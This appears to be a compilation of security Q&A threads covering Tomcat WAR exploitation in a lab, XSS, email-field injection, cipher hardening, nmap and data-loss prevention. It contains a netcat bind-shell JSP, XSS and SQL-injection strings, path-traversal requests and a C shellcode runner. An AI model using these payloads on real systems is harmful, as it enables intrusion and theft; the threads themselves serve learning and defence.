Tomcat War Payload not working So I am currently working my way through a few books. One of which had me download the metasploitable2 vm. This machine has a tomcat server running on it which I successfully exploited using Metasploit. I used Metasploit to brute-force the login credentials and then I used a bug in the upload manager to send a bind to TCP payload. That all worked swimmingly. Now I want to figure out how to do it by hand.

I managed to brute force the login by hand but I am having issues getting even a basic payload scenario to work.

From my understanding the way this works is Tomcat will let you stick a malicious JSP inside of a WAR and upload it to their server to run. When it runs the JSP a shell can be achieved.

Ultimately what I want to do is programmatically inject a payload that I craft in python into the server and get a reverse shell all without using Metasploit at all. However, I need to work up to that so I figured I would just start with taking a generated Metasploit payload and uploading it into the server via the upload manager interface.

Steps taken to exploit the machine

Brute forced the login
Generated a reverse_tcp payload with the same info that made it work when deployed from Metasploit
Logged into the tomcat manager service
Browsed to my WAR payload and uploaded it
Setup netcat to listen
In the browser, navigate to my payload. http://internalip:8180/mypayload/

No luck. Nothing calls back to me. In fact when I navigate to the link it says 404 cant be found even though the application shows up in the application list.

Okay so after taking the advice from a comment above about seeing what was actually uploaded to the server I was able to solve this problem.
The payload
So it seems that by attempting to take the 'easy' way first and use a precompiled WAR file was where I went wrong. That's because I had no idea what the JSP file inside of the war was called. When I logged onto the server and looked in the tomcat5.5 webapps directory it was immediately clear what the application name was and I was able to reference it. Though, I couldn't get the shell to work.
Building my own payload
So I decided to take the other path which was build my own payload and upload it.
First I created a JSP file with my netcat command in it
echo '<% nc -l -p 12345 -e /bin/bash %>' > payload.jsp

Then I created a war file with it
jar -c payload.jsp > payload.war

Finally I uploaded it to the server with my upload tool and called it in the browser.
TargetMachineIp:TomcatPort/tomcat_exploit_dir/payload.jsp

Then I just connected to it with netcat
nc targetmachineip targetport
...Profit...

You can see my full write up on how I did it here


If PAP is insecure why is it commonly the only authentication protocol available for Radius? In configuring Radius authentication on multiple devices from a vendor, I discovered that PAP is the only supported protocol.

I was initially surprised but discovered that even an f5 BigIP only offers PAP too. Even further, several other vendors also only offer PAP.

As I understand it, PAP is considered insecure because the credentials are transmitted from the Radius Client in plaintext.

So my question is, if it is so insecure, how come it is still so commonly the only authentication protocol?

While only the maker of a device can give you the canonical answer about that device, there are a few factors that generally explain why only PAP is supported on many platforms:

PAP is old (RFC 1334 was published in 1992) so it used to be pretty much the only standardized choice. Even after newer (and arguably better) standards were released (such as CHAP in 1996 and EAP in 1998 with updates in 2004), companies could still use the already-written PAP code in existing products and just move it to their new products.
PAP is easy to implement - no need to understand complex encryption mechanisms.
There is an easy way to add another layer of security, so there is no incentive to fix it. (See final paragraph below)

In truth though, PAP as used by RADIUS does not actually send the password in plaintext. Instead, it XORs the password with an MD5 hash based on a shared secret. While this is also considered to be insecure, it is still at least a little better than actual plaintext.

The best practical answer for safe use of PAP is to tunnel the RADIUS traffic through a VPN (IPSec tunnel or similar). This is becoming standard practice when dealing with RADIUS connections anyway, as there could also be other sensitive user data besides the password that has to be secured.


Is an option tag that can have any inner HTML value inserted into it XSS-able? Consider the following code:

<select>
    <option>ANY VALUE</option>
</select>

Users on my website have the ability to add option tags to a list that can have any value inserted into it. Adding tags to this list is not effective as it displays the string literally when in the option list.

In the HTML spec, the permitted contents of an option tag is only normal character data.

Is there a value a malicious user could insert to launch an XSS attack using this?

Yes:

</option></select><img src=no onerror=alert(1)>

There are some tags in which tags are not parsed (textarea or title would be two other examples), but an attacker can of course just break out of those contexts.

The injection takes place inside a normal HTML context,so HTML encoding dangerous characters - < and > would be enough, but it is good practice to encode ' and " as well - is the correct solution here.


Preventing reverse engineering through obfuscation and LLVM I just came across this concept of "obfuscation" and randomizing the binary so that attacker can't use it to reverse engineer a particular piece of software.

Can anyone point me to resources which cover this in detail ? I am specifically looking for how LLVM is leveraged for this.

Do we need to write our own passes to get this obfuscation from the byte code or does LLVM support some basic techniques ?

The slang for the tools you're looking for is "crypters".
Those tool are "compiling" your code using various techniques to the so called obfuscated code, there's no single solution and every tool may select its own weird way to obfuscate the binary.
As for other "dark" subjects practical explanations about those techniques are quite rare (have you ever found a decent reverse TCP shellcode writing guide?).

...but there are some thumb rules about obfuscation, for example encrypt any string which is embedded in the data segment in one way or another.
Note that as said by @cpast you'll never get perfect security against professional  reversers.

If you're interested in "perfect obfuscation" from an academic PoV I strongly advise you to read Prof. Ran Canneti's and Dr. Nir Bitansky's publications.


Safe email validation I have been using this RFC822-compliant regular expression for email validation. Pen testers on HackerOne have used the following horrendous email addresses which satisfy the regex:

'/**/OR/**/1=1/**/--/**/@a.a
a@a.a&a=////etc/passwd
a@a.com&&a=a
%00%2a@a.a

Are those email addresses valid? How can I do safe email validation?

Are those email addresses valid?

Yes, they are. See for example here or with a bit more explanation here.

For a nice explanation on how emails may look, see the informational RFC3696. The more technical RFCs are linked there as well.

Attacks possible in the local part of an Email Address

  Without quotes, local-parts may consist of any combination of
  alphabetic characters, digits, or any of the special characters

  ! # $ % & ' * + - / = ?  ^ _ ` . { | } ~

  period (".") may also appear, but may not be used to start or end
  the    local part, nor may two or more consecutive periods appear.
  Stated    differently, any ASCII graphic (printing) character other
  than the    at-sign ("@"), backslash, double quote, comma, or square
  brackets may    appear without quoting. If any of that list of
  excluded characters    are to appear, they must be quoted.

So the rule is more or less: most characters can be part of the local part, except for @\",[], those must be in-between " (except of course " itself, which has to be escaped when in a quoted string).

There are also rules on where and when to quote and how to handle comments, but that's less relevant to your question.

The point here is that many attacks can be part of the local part of an email address, for example:

'/**/OR/**/1=1/**/--/**/@a.a
"<script>alert(1)</script>"@example.com
" onmouseover=alert(1) foo="@example.com
"../../../../../test%00"@example.com
...

Attacks possible in the domain part of an Email Address

The exact structure of the domain part can be seen in RFC2822 or RFC5322:

addr-spec       =       local-part "@" domain

local-part      =       dot-atom / quoted-string / obs-local-part

domain          =       dot-atom / domain-literal / obs-domain

domain-literal  =       [CFWS] "[" *([FWS] dcontent) [FWS] "]" [CFWS]

dcontent        =       dtext / quoted-pair

dtext           =       NO-WS-CTL /     ; Non white space controls

                        %d33-90 /       ; The rest of the US-ASCII
                        %d94-126        ;  characters not including "[",
                                        ;  "]", or "\"

Where:

   dtext           =   %d33-90 /          ; Printable US-ASCII
                       %d94-126 /         ;  characters not including
                       obs-dtext          ;  "[", "]", or "\"

You can see that again, most characters are allowed (even non-ascii characters). Possible attacks would be:

a@a.a&a=////etc/passwd
foo@bar(<script>alert(1)</script>).com
foo@'/**/OR/**/1=1/**/--/**/

Conclusion

You can't validate email addresses safely.

Instead, you need to make sure to have proper defenses in place (HTML encoding for XSS, prepared statements for SQL injection, etc).

As defense in depth, you could forbid quoted strings and comments to gain some amount of protection, as these two things allow the most unusual characters and string. But some attacks are still possible, and you will exclude a small amount of users.

If you do need additional input filtering that exceeds the limits of the email format, because you do not trust the rest of your application, you should carefully consider what you do allow and what you do not allow. For example + is used by gmail to allow filtering incoming emails, so not allowing it may lead users to not sign up. Other characters may be used by other providers for similar functionalities. A first approach might be to only allow alphanum + ! # % * + - = ? ^ _ . | ~. This would disallow < > ' " ` / $ { } &, which are characters used in common attacks. Depending on your application, you may want to disallow further characters.

And as you mentioned RFC822: It is a bit outdated (it's from 1982), but even it allows for quoted strings and comments, so just saying that you only accept RFC822 compliant addresses would not only not be practical, but also not work.

Also, are you checking your emails client-side? The JS code gives that impression. An attacker could just bypass client-side checks.


What is the industry standard approach to disable weak ciphers to mitigate vulnerabilities? Particularly this question is focused for Windows Server 2008 R2.

I know the registry can be used to modify particular entries to disable weak ciphers if they are known.

I saw this tool: http://www.defensia.co.il/2011/05/12/hardening-iis-ssl-with-iiscrypto-disabling-weak-ciphers/ but I'm not familiar with the creator so I'm not too trusting of it.

I'm sure there may be a template to use of some sort, but I'm not familiar with the exact details of that.

For SSL/TLS, you can control this setting through group policy on 2008 or later systems (http://msdn.microsoft.com/en-us/library/windows/desktop/bb870930%28v=vs.85%29.aspx)
The setting is called SSL Cipher Suite Order and is inside of the Administrative Templates/Network hierarchy.

If you need to modify the behavior of other applications that utilize the SChannel crypto framework on the system, you can modify the registry values directly http://support.microsoft.com/kb/245030.


Is it safe to use createHTMLDocument to sanitize HTML? i'm wondering how safe it is to use createHTMLDocument to do HTML sanitization. I've tried to implement it like this:

function sanitize(string) {
  var elm = document.implementation.createHTMLDocument().body;
  elm.innerHTML = string;
  // traverse and filter elm to only allow whitelisted elements and attributes
  // e.g. use https://github.com/gbirke/Sanitize.js
  var cleaned_fragment = whitelist_filter(elm);
  elm = document.implementation.createHTMLDocument().body;
  elm.appendChild(cleaned_fragment);

  return elm.innerHTML;
}

It seems to work fine with all XSS attacks i've throw at it (no script evaluation or requests triggered). But I got a feeling it might be a bad idea, im I missing something?

I've created a jsfiddle if someone wants to experiment.

You should use the DOMParser to parse HTML when available, and only fall back to DOMImplementation.createHTMLDocument if the former is unavailable.

In Opera Presto, I observed network activity when I passed <img src=...> (but not <video>).
Internet Explorer 9- is worse: media, styles and event listeners will be activated with this method. IE10+ supports DOMParser, so if your audience uses IE10+, then you're safe.


Any way to circumvent a 'filtered' response on NMap? I know that a filtered response on NMap means that the firewall dropped the packets or that NMap just didn't receive a response, but is there any way to circumvent this?

Is it possible that the firewall is just dropping NMap's type of ping packets but would respond to a normal connection in telnet or a web browser?

I've searched a lot, but couldn't find any specific information on this (Maybe I was using the wrong keywords? I'm not sure)

Thanks!

Seeing a 'filtered' state for a port has nothing to do with a "ping" or an exploitation attempt. Nmap's traffic is generally not exploitative. An adaptive firewall could detect the default (with privileges) half-open SYN scan after it has detected an open port, or it could detect any of it scan types based on the number of closed ports it tries to connect to. But most firewalls will not do this.

Using the --reason option, you can see the type of response that caused a port to be in the state it is. Most of the time, 'filtered' means that all the probes to that port timed out, and no response was seen. Sometimes, though, it can be because an ICMP Administratively Prohibited message was received. This is a good indication that a more-intelligent firewall is in place.

In the most common case, however, a filtered port simply means that a static (i.e. not adaptive) firewall has been configured to drop connections to that port. In this case, any incoming connection, whether Nmap or telnet or a browser, will be dropped.


History of drive-by exploits I am interested in drive-by download attacks. For the moment, the oldest article I found on internet treating about it is this one.
Does someone know when first the expression drive-by download attack was used ? And what was the first successful attack ever performed ?

Drive-by downloads are usually used in browser exploit-kits, as well as in malicious advertisements. I haven't found the origin of the term, but there are some articles. This paper, published in 2006, analyzes drive-by downloads from 2005.

A Symantec article from 2006 explains that the WMF vulnerability was popular.

HP DVLabs reports on web exploit-kits:

  The trend started in 2006 with the release of WebAttacker, which is considered by many to be the first modern day Web exploit toolkit.


Law enforcement cracked my phone? Police took my android phone a few months ago. It was encrypted and had the 10 max tries destruction thing set on.

I noticed that yesterday the device disappeared from my android device manager. Until then it hadn't been online since it was taken. Does that mean they got in it or just wiped it?

The phone was switched off when it was taken. Can they brute force the pass offline as many times as they want?

One option: They can clone the whole system to a computer or another phone. After that, they will do the tries. After it wipes itself, they will clone it again.

Second option: If it is the data what is going on, they can copy it to a PC and crack it there. No wiping applies on that in this case ...


Check SSLv3 in Apache Tomcat locally as well as on server on windows/linux I have given my website for testing, after testing they sent me a test report with details that the site has a security issue "SSLv3 POODLE information disclosure", and SSLv3 should be disabled to avoid this. This is issue they have reported :-

  " It determined that the remote server supports SSLv3 with at least one CBC cipher suite, indicating that this server is vulnerable. It appears that TLSv1 or newer is supported on the server. However, the Fallback SCSV mechanism is not supported, allowing connections to be "rolled back" to SSLv3 "

SSL Version : SSLv3 High Strength Ciphers (>= 112-bit key)
EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1
DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1

I read somewhere in site to check whether SSLv3 is disabled using

openssl s_client -connect example.com:443 -ssl3

I tried with the same command but I always get:

[...]SSL routines:SSL3_READ_BYTES:ssl alert handshake failure

This should mean SSLv3 is disabled, correct? If this is so, then they should not have reported this issue.

How can this issue be replicated, and how can I disable SSLv3 (Apache Tomcat) as requested?

Any help/guidance would be appreciated.

you can check your ssl-setup with either:

SSLLabs (your site must be online)
testssl.sh (cli-tool)
cipherscan (cli-tool)
ssllyze (cli-tool)

you should have a basic knowledge on how to interpret the results though

for disabling ssl in your tomcat please read (there might be interferences yiwth the JVM used):

Disabling SSLv3 and SSLv2 in Tomcat and JBoss Web

"When using Tomcat with the JSSE connectors, the SSL protocol to be used can be configured via $TOMCAT_HOME/conf/server.xml. The following example shows how the sslProtocol in an https connector is configured.

Tomcat 5 and 6 (prior to 6.0.38)

<Connector port="8443" protocol="org.apache.coyote.http11.Http11Protocol"
               maxThreads="150" SSLEnabled="true" scheme="https" secure="true"
               clientAuth="false" sslProtocols = "TLSv1,TLSv1.1,TLSv1.2" />

Tomcat 6 (6.0.38 and later) and 7

<Connector port="8443" protocol="org.apache.coyote.http11.Http11Protocol"
           maxThreads="150" SSLEnabled="true" scheme="https" secure="true"
           clientAuth="false" sslEnabledProtocols = "TLSv1,TLSv1.1,TLSv1.2" />

If the sslEnabledProtocols or sslProtocols attributes are specified, only protocols that are listed and supported by the SSL implementation will be enabled. If not specified, the JVM default is used. The permitted values may be obtained from the JVM documentation for the allowed values for algorithm when creating an SSLContext instance e.g. Oracle Java 6 and Oracle Java 7."


Are there any know browsers that support file URL redirection? I've been addressing an open-redirect issue and in experimenting with the latest fix, I noticed that updating the redirect's protocol to file resulted in a blank page on the browser.

That is, redirect.aspx?url=file://legitimate-site.com results in a blank page.  Other protocols like madeup:// get the error page suggesting there is a generic URL processor that says "these protocols are okay" and the browser or the proxy is blocking the malicious redirect.

Obviously, I want the team to limit redirection to just "http" and "https" but I'm curious as to if there are any browsers that perform redirects to local files or if this is a security hole that has been closed for a while.  A quick search has yielded just a few "doesn't work" answers but nothing official.

Generally speaking, no, a website cannot redirect the browser to a file: URL.  This is due to special restrictions imposed by browsers on use of file: URLs.

(Redirecting to a local file: URL would be mostly harmless, but this is a better-safe-than-sorry situation.  It is mostly harmless, because the user is shown the contents of the file in their browser window, but the contents of the file never leave the user's computer and are not sent to the web server, so no harm is done.  However, there are some cases where it could pose some risk, so browsers block redirection to file: URLs, just in case.  See references below for details.)

To learn more, see the Browser Security Handbook.  The Browser Security Handbook should be your standard go-to reference for information about security-related browser behavior.

And sure enough, it covers your question.  See, for instance, its sections on URL scheme access rules and Redirection restrictions for information about what kinds of uses of file: URLs are and aren't allowed by browsers.


Why is this certificate for Imgur only valid for one day? I'm connected over a café WiFi and received a warning from my mobile browser.  When I looked further, it seems like the certificate is only valid for one day, which seems super suspicious.

It says Imgur on it, but then why is it flagged up and why is it only valid for one day?

Here is the same certificate while using a friend's hotspot/data:

I've not found another certificate that's affected.

This isn't one of Imgur certificates.

Certificate Transparency logs

Certificate Authorities must report all certificates they generate to transparency logs, which are public databases. This allows user-agents, like Chrome, to check that this certificate can be audited by the website's owner.

According to the following certificate transparency search tools, this certificate was not logged, and such a short lifetime is not usual for Imgur:

crt.sh
Google
Facebook

DNS Filter

According to the error messages, this certificate hasn't been issued by a valid certificate authority, so you can't trust the issuer.

The issuer claims to be "DNSFilter".

DNSFilter is a proxy used to filter requests, and it also tries to proxy HTTPS requests, so it generates a self-signed certificate for every domain.

Since you can't trust the issuer, you can't be sure that the certificate comes from the real DNSFilter product. Anyone could be impersonating it.

It's safe to assume that this is not a legit certificate for Imgur.

The exact reason for such a short lifetime for the certificate is unknown.


Nmap - Inconsistent Port Response What could be the possible reason(s) of scanning a port and getting an open (syn-ack) response and then getting a closed (rst) response within a small timeframe.

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2018-03-24 21:01 AST
Nmap scan report for 10.0.2.13
Host is up, received reset ttl 127 (0.14s latency).
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2018-03-24 21:06 AST
Nmap scan report for 10.0.2.13
Host is up, received reset ttl 127 (0.14s latency).
PORT   STATE  SERVICE REASON
80/tcp closed http    reset ttl 127

I think I have eliminated the possibility of a firewall due to not getting any response for a --badsum packet

If you make a tcpdump of a nmap session, you will see that nmap sends a lot of packets, this patter is very easy to detect, and probably your session have been detected and then blocked automatically. Port scans are easy to detect by firewalls or other systems, that is my guess.


How long does a secret URL need to be? I'm currently creating a small service where users can upload images (just a free time project). The images are either private, public (unlisted) or public (listed).

Now I'm wondering for public unlisted content how long the URL should be. So if a user foo uploads bar.png, I would generate a random name for it, e.g. with python:

import random

def generate_name(file_extension: str = ".png", random_chars=12):
    chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    chars = chars + chars.lower() + "0123456789"
    r = random.SystemRandom()
    random_part = ''.join([r.choice(chars) for i in range(random_chars)])
    return random_part + file_extension

So the name is random, not only a hash of the input.

If I use 12 characters, there are 62**12 possible values. Assuming the web service gets used way more than a hobby project will every be, let's say I'd have 10**6 users uploading each 10**4 photos, each of them public (unlisted). This would make 10**10 elements.

This would mean for each photo there are 10**11 elements which did not get assigned (62**12 / 10**10). Assuming an attacker can check 10**4 URLs per second, they would in average need 10**11 / 10**4s = 115 days to to find one by chance. Of course, by chance the attacker could either find one way earlier or way later.

Is the reasoning correct? How many URLs can be checked per second by a private attacker? (I've heard that private people scanned the whole IPv4 range in a short time)

Your reasoning is generally correct, the base math is indeed
(charset_size**code_length) / guesses_per_second (where ** is exponentiation). For the sake of completeness (I see you already took most of this into account), there are some things one should factor in:

How fast is your web server? This would limit how fast they can check, at least currently.
Does your server implement any monitoring or rate limiting? If you limit users per IP, how many different IP addresses do you expect they can get access to?
For how many years should the data be secure?
Does the attacker "win" if they guess a specific secret URL, or anyone's secret URL? In case of the latter, you need to factor in the number of URLs you expect to exist after years of running the service (as you did).
Is the server using a secure random (your code looks good).

Perhaps slightly out of scope of this question, but there are also some general security considerations:

Does a request take longer if a few characters are guessed correctly (because the database then needs to do more lookups in the indexed field) and might an attacker be able to guess it (almost) character-by-character?
Secrets in URLs are generally a bad idea: they may be stored in browser history, corporate proxy logs, visible while shoulder surfing, and may be sent to third parties through the Referer header. The only one of these you can really prevent is setting a Referrer-Policy, but relying on web server configuration for security seems fragile.
Of course, it may be unavoidable in this case and I doubt there exists an equally convenient alternative method. It's just generally good to be aware that secrets in URLs are not a very reliable security mechanism.

To answer the specific question about

  How many URLs can be checked per second by a private attacker?

Let's say they're willing to spend some money to get a gigabit connection (125MB/s) and that it takes 2KB of traffic to check whether a given URL exists, then assuming no server limitations, you're looking at about 125e6/2e3≈63k requests per second. Since VPSes with a gigabit uplink are very cheap, I think it's fair to assume that any motivated individual can run a bunch of these in parallel. Bandwidth costs will also probably go down in the future as they have in the past.


Preventing a Burp and Intercept I have created an authentication API to manage user sessions and the works. To log a user in, the user send their credentials to my API endpoint and it returns “true” or “false” based on their login. I recently received an issue report stating that using “a burp and intercept”, the response of “false” can be changed to “true”, bypassing a failed login attempt and tricking the browser into thinking the user is logged in.

I’ll be honest: I have no clue how to prevent this. And if I cannot prevent it, is there a better way to be authenticating users?

You may want to ask the reporter to explain what they think the security implications are.

Tricking the browser into showing a successful login via a locally forged API response does no harm unless the user can use that to actually bypass authentication or access confidential information. An attack would have to trick the server into assuming the authentication succeeded, not the client.

  I have no clue how to prevent this.

You can't prevent a user from tampering with data which has left your server. You have no control over the client (their browser) and can't stop them from using Burp (or the developer console for that matter) to rewrite requests and responses in ways that you web application didn't intend.

  And if I cannot prevent it, is there a better way to be authenticating users?

As Marc outlined, one possible approach is to have the API endpoint return a session token once the authentication succeeds. The client would then use this token to make further authenticated requests.


OpenVPN and firewall configuration in LuCI I'm trying to find the best (most secure) configuration for the firewall in OpenWRT.

I'm using LuCi to configure all the stuff. I have successfully created a VPN (OpenVPN). It is supposed the best way is create 3 zones (wan, lan and vpn) in the firewall and then configure it.

My problem is if I create 3 zones, I cannot establish a tunnel in OpenVPN from internet to my router running OpenWRT. Only works when I set 1 zone including the 3: wan, lan and vpn (see attached image).

Are you using a OpenVPN? how are you configuring the firewall for the VPN?

Check out these two guides for more info:

http://blog.ipredator.se/howto/openwrt/configuring-openvpn-on-openwrt.html http://tokyobreeze.wordpress.com/2015/01/15/install-openvpn-in-a-router-with-4mb-flash/

The basic idea is to create 3 separate zones, use zone forwarding from LAN to VPN, and turn on Masquerading and MSS clamping on the VPN zone. Be sure to leave Forward on "Reject" for all zones, Output "Accept" on all zones. Accept input on LAN but not VPN. For the WAN zone there are two possibilities (I'm not sure which is "correct" but both work for me and allow me to pass all tests on ipleak.net):

Input=Reject, Output=Accept, Forward=Reject. Turn on Masquerading and MSS clamping

Input=Accept, Output=Accept, Forward=Reject. Turn off Masquerading and MSS clamping

Lastly, if you're not already aware, make sure prevent DNS, ipv6, etc. leaks as described in the above guides. I've found ipleak.net to be a good place to test my setup each time.


Preventing information from leaving corporate network How do you prevent confidential information from leaving the network?

Nowadays online storage facilities are in abundance. e.g. Google Drive, One Drive, etc. Any employee can just upload sensitive information to these sites for storage. This is just one example. Other examples maybe to store such information to USB and bring out of office.

I am thinking of implementing DLP for such purposes. How easy is it to do this and what are some considerations? Is it an expensive solution? Are there any other cheaper alternatives if DLP solutions are expensive?

The key point here is that any security is only as strong as its weakest link.

Be clear from the start whether you are protecting against:

inadverent leaks by clueless or forgetful users or
against intentional leaks by motivated adversaries

The former are easier to protect against. But to design an effective & practical solution against the latter is a very challenging job. Don't let the colorful whitepapers from the Vendor's Sales guys fool you.

I'll illustrate using examples:  I've seen organizations spend a lot on network based filtering and flagging solutions only to find after an incident that the guilty party used encryption (making even deep packet inspection moot). In another case encryption was stymied using end point protection running on the client PC's only to discover how this hampers encryption of data that ought to have been legitimately encrypted by the users.

One Firm decided to incorporate a complex hierarchy of role based security where access to many sensitive documents had to be authorized by a second person who was higher up in the hierarchy. In practice, this caused so many operational difficulties that a lot of sensitive documents ended up giving blanket clearances to dozens of guys thereby obviating any usefulness of the system.

In one case all the network and end point solutions seemed in place but mobile devices were not very closely controlled so any motivated adversary could just use those to leak out sensitive data. Even if you are mandating only company issued mobile devices have you disabled USB ports and Bluetooth and even cameras on them?

In some third world leaks I've seen reports where the modus operendi was quite low tech and involved printing lists of clients and other sensitive data and sneaking out actual printouts over an extended duration. Ironically the site actually had security frisking but sadly they were watching for USB keys, cellphones, hard disks and such. Paper printouts were never checked by the security guys.

The point is that a lot of these loopholes can indeed be blocked with some effort but one has to realize that most effective protection strategies will involve the downside of making legitimate use more inconvenient.

There's this convenience versus security trade-off and every organization must decide at what point of this trade-off curve does it want to live at. Even better, your chosen solution should have the granularity to set the right trade-off at site or even department or person level and not some blanket organization wide policy. The latter rarely work out well in practice.

PS. Every vendor will show case the wizardry of its own product but it is important to have a holistic view and the right question often is: Can the very medium this expensive security software is dedicated to protecting be entirely bypassed by an adversary? e.g. Network based protection is of very little use if USB sticks are being allowed


Domain name vs IP only hosting? The DNS resolving process ultimately relies on root servers located in the USA for most extensions (.com and .org root servers for example). Even if the IP addresses of these servers are cached by local DNS resolvers in my country, relying on domain name and root servers is sort of a single point of failure, and bring well known weaknesses (DNS hack, DNS poisonning etc...).

Let's say I have strong confidence in the ISP that allocated an IP address to my house/workplace, or even that I own this IP address, I know I'll always be reachable at this IP address, and I have registered for a SSL certificate for this domain.

Considering this (that you can trust IP address and certificate), is it more safe to rely solely on IP address (over SSL) to host a web service, and therefore do not register for any domain name?

DNS can be a point of attack, yes.  DNS exists because remembering something like 198.51.100.36 is significantly harder to remember than Lamouette.com.  If you want to give it a go, more power to ya but I'd caution that if it's a public web presence you're after, your visitors will not appreciate having to use your IP address over your domain name.

And if you cut your SSL cert with the IP address but you publicize your domain name for use, your users will get ugly messages from modern browsers claiming that the details of the SSL certificate (based on IP) do no match the value your visitors are using:  Lamouette.com.

So while it technically is more secure, it's functionally unusuable for an internet presence.  More power to ya though if you decide to try and buck the system.


how to compile a generated exploit in metasploit into a C program Once you generate an exploit in metasploit with the '-t c' tag you get an array with a bytecode like

unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
...snip...

My question is how do you compile and run this bytecode in C?

The code is already 'compiled' machine code. Just do something like this in main():

int *ret;
ret = (int *)&ret + 2;
*ret = (int) buf;

Just make sure you disable non-executable stack with -z execstack flag while compiling.

EDIT:
Breaking down the code -

int *ret;

We are declaring an int pointer named ret as a local variable in main(). Being the first and only variable, it lies immediately below the old frame pointer in the stack.

ret = (int *)&ret + 2;

Next, we are adding 2 to the address of the ret pointer and storing it back in ret. If you look at the figure, the return address lies exactly 2 dwords above ret. So we are basically storing the address of the return address in ret.

*ret = (int) buf;

Finally, we are dereferencing ret to replace the existing return address with the address of buf (our shellcode - presumably declared globally).

main() will therefore be returning to buf instead of where it was supposed to. The bytes in buf will be interpreted as code and will be executed happily. This is what typically happens in a vanilla buffer overflow exploit. The control flow is hijacked by causing a buffer to overflow and making it overwrite the return address with something that the hacker has control over (usually injected shellcode).

Do note that modern OSes usually store additional stack canaries to detect overflows. Therefore the offset '2' might not hold true. For simplicity, use the -fno-stack-protector flag while compiling in gcc to disable stack canaries.


Analyzing Apache log with Snort I need to analyze an Apache log with Snort and others IDS/WAFs (Suricata, mod_security and Shadow Daemon). In order to do so, I was thinking about create TCP packets with the GET and POST requests stored in the Apache log with Scapy in Python. Something like this:

packet= IP(dst=dst_ip)/TCP(dport=9999)/Raw(load=payload) #payload contains the http request

I store this TCP packets into a PCAP file to later, analyze it with Snort or the another IDS/WAFs I said.

The problem with this method of building packets is that there is no state in the communication and Snort detects it with this alert:

[**] [129:2:1] Data on SYN packet [**]
[Classification: Generic Protocol Command Decode] [Priority: 3]
09/01-20:29:50.816860 127.0.0.1:20 -> 127.0.0.1:9999
TCP TTL:64 TOS:0x0 ID:1 IpLen:20 DgmLen:102
******S* Seq: 0x0  Ack: 0x0  Win: 0x2000  TcpLen: 20
[Xref => http://www.securityfocus.com/bid/34429][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1157]

Then, I adapted the code to add a sequence and ack number:

ip = IP(src=src_ip, dst=dst_ip)
packet = (ip / TCP(sport=src_port, dport=dest_port, flags='PA',
      seq=seq_n, ack=ack_n) / Raw(load=fullrequest[0])

seq_n = seq_n + len(payload.encode('UTF8'))

In this way, there is a sequence but the Data on SYN packet alert changes for another (although instead of leaving as many alerts as the same number of packages, only 22% of the packets throw an alert):

[**] [129:12:1] Consecutive TCP small segments exceeding threshold [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
09/01-20:49:15.037299 127.0.0.1:60664 -> 127.0.0.1:80
TCP TTL:64 TOS:0x0 ID:1 IpLen:20 DgmLen:94
***AP*** Seq: 0x156E7  Ack: 0xB  Win: 0x2000  TcpLen: 20

In the end, I chose to create a client-server structure with sockets (sending the payload from one virtual machine to another), analyze the traffic with WireShark and then save the packages as PCAP. The problem here is that Snort does not detect a single attack. In addition, I can not automate this analysis operation.

Attacks example:

"GET /shoutbox.php?conf=../../../../../../../../etc/passwd HTTP/1.1"
"GET /cgi-bin/apexec.pl?etype=odp&template=../../../../../../../../../../etc/hosts%00.html&passurl=/category/ HTTP/1.1"

I am using Snort with Pulledpork to download the rules and I have tried it with a PCAP that I was using in the postgrade (not manually built) and it is detecting attacks. Maybe there is something wrong at the time of creating packets.

Here is my Snort and Pulledpork conf:

Snort: snort.conf

Pulledpork: pulledpork.conf

Here are my PCAPs:

First way (Data on SYN packet): output.pcap

Second way (Consecutive TCP small segments exceeding threshold): output_seq.pcap

What can I be doing wrong? Any hint? Any easier way to detect attacks in an Apache log with IDS/WAF?

Your approach to this is...a bit misguided.

You shouldn't need to be crafting packets to replay events from an Apache log. The log is a list of HTTP requests, so use a library that can make proper HTTP requests, like the requests library itself. You don't even have all the information you need to craft these packets anyway-- in the case of POSTs, you don't know what the payload actually was, only where it was sent.

Configure your IDSes to all monitor the same interface. Given a list of URLs/paths, write a script to simply request each one. Then have each IDS dump its output somewhere and see what each detected. You can repeat this process and evaluate or tune rules as needed.


After the Cryptoperiod timespan, do we need to encrypt all the data again? As per PCI-DSS we need to dispose the old keys after the timespan. After the cryptoperiod (lets say one year) time span, do I need to encrypt all (20k card holders) the data once again with the newly generated key?

Well, since re-crypt all the data could be a pain in the... There are different approaches to this (which is known as "secrets management"):

Low security level: you just keep a list of your private keys and if you need to get old data you can use the old key.
Medium security level: the same as the low level but before leaving all the information encrypted with the old key, each time you access to the secret you re-crypt it with the valid key and you wipe-out your old secret.
High security/sensitive data: yes, you have to re-crypt all your secrets. (Might be extremely costly).

As I usually recommend, don't try to overkill and don't choose "re-crypt" by default, consider asking yourself the following questions:

Are your data sensitive in a way that put your business in risk if disclosed?
Is the amount of time to re-crypt your data reasonable? (Meanwhile re-enciphering your data you might not have availability of it).
Does the information expire with the cryptoperiod as well?
Are your keys protected well enough?
Is the cryptoperiod/key strength balanced?

[Edit (improving answer as suggested by @LucasKauffman ]

My response has to do with the PCI-DSS (sections 3.5-3.6) and you have to read them carefully to be sure you fully understand how to put in practice these methods. I will not paste them here since it is copyrighted material (it is freely available in their webpage).

The PCI-DSS does not contain the exactly points I have made, but it is implied in the document if you read it carefully. Pay special attention to the "guidance" column.

(Feel free to add any grammar/syntax correction since English is not my mother tongue).


Securing WebHosting Shell Access If I provide SSH access to users who has paid webhosting service, what security measures should be applied ?

What I can think of:

SSH keys RSA of 4096 size (shall be secure for a while)
Apache MPM-ITK (separating each domain/subdomain) via separate user/group according to business (who paid for which service)
Permissions to each web root (0750) recursively
